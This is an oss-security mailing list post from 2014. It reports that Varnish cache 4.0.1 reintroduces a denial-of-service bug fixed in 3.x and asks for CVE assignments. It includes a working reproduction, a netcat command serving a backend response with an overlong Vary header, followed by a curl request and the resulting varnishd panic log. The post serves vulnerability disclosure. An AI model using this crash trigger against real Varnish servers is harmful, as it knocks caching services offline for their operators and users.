[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Wed, 2 Jul 2014 17:57:01 +0100
From: Marek Kroemeke <kroemeke@...il.com>
To: oss-security@...ts.openwall.com
Subject: Varnish - no CVE == bug regression
Hi there,
Latest version of Varnish cache (4.0.1 https://www.varnish-cache.org/ ) has
the same DoS vulnerability that 3.x had (which was subsequently fixed in
that branch).
Any chance to allocate some CVEs for the below so that this
doesn't happen again ?
http://seclists.org/fulldisclosure/2013/Mar/55
http://seclists.org/fulldisclosure/2013/Mar/61
http://seclists.org/fulldisclosure/2013/Mar/63
http://seclists.org/fulldisclosure/2013/Mar/58
How to replicate (assuming varnish proxies to port 8100) :
"HTTP/1.1 200 foo\r\nVary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n\r\n" | nc.traditional -l -p8100
curl http://localhost:6081/
-- cut --
Jul 2 18:32:09 localhost varnishd[6145]: Child (21893) Panic message:#012Assert error in http_GetHdr(), cache/cache_http.c line 347:#012 Condition(l == strlen(hdr + 1)) not true.#012thread = (cache-worker)#012ident = Linux,3.2.0-58-generic,x86_64,-smalloc,-smalloc,-hcritbit,epoll#012Backtrace:#012 0x42fdd9: pan_ic+0x1a0#012 0x426267: http_GetHdr+0x5b#012 0x43a951: VRY_Create+0x375#012 0x41c930: vbf_beresp2obj+0x40#012 0x41e766: vbf_fetch_thread+0x1949#012 0x432b7d: Pool_Work_Thread+0x5e8#012 0x4444da: wrk_thread_real+0xfc#012 0x444698: WRK_thread+0x16#012 0x7f21da3cfe9a: /lib/x86_64-linux-gnu/libpthread.so.0(+0x7e9a) [0x7f21da3cfe9a]#012 0x7f21da0fc3fd: /lib/x86_64-linux-gnu/libc.so.6(clone+0x6d) [0x7f21da0fc3fd]#012 busyobj = 0x7f21a4090a90 {#012 ws = 0x7f21a4090b50 {#012 id = "bo",#012 {s,f,r,e} = {0x7f21a4092a70,+456,(nil),+57376},#012 },#012 refcnt = 2#012 retries = 0#012 failed = 0#012 state = 1#012 is_do_stream#012 is_is_gunzip#012 bodystatus = 4 (eof),#012 },#012 http[bereq] = {#012 ws = 0x7f21a4090b50[bo]#012 "GET",#012 "/",#012 "HTTP/1.1",#012 "User-Agent: curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3",#012 "Host: localhost:6081",#012 "Accept: */*",#012 "X-Forwarded-For: 127.0.0.1",#012 "Accept-Encoding: gzip",#012 "X-Varnish: 3",#012 },#012 http[beresp] = {#012 ws = 0x7f21a4090b50[bo]#012 "HTTP/1.1",#012 "200",#012 "foo",#012 "Vary: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",#012 "Date: Wed, 02 Jul 2014 16:32:07 GMT",#012 },#012 ws = 0x7f21a4090cd8 { BAD_MAGIC(0x00000000) },#012 },#012 objcore (FETCH) = 0x7f2198000950 {#012 refcnt = 2#012 flags = 0x2#012 objhead = 0x7f21980009e0#012 }#012 }#012
-- cut --
regards,
AKAT-1
22733db72ab3ed94b5f8a1ffcde850251fe6f466
Marek Kroemeke
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
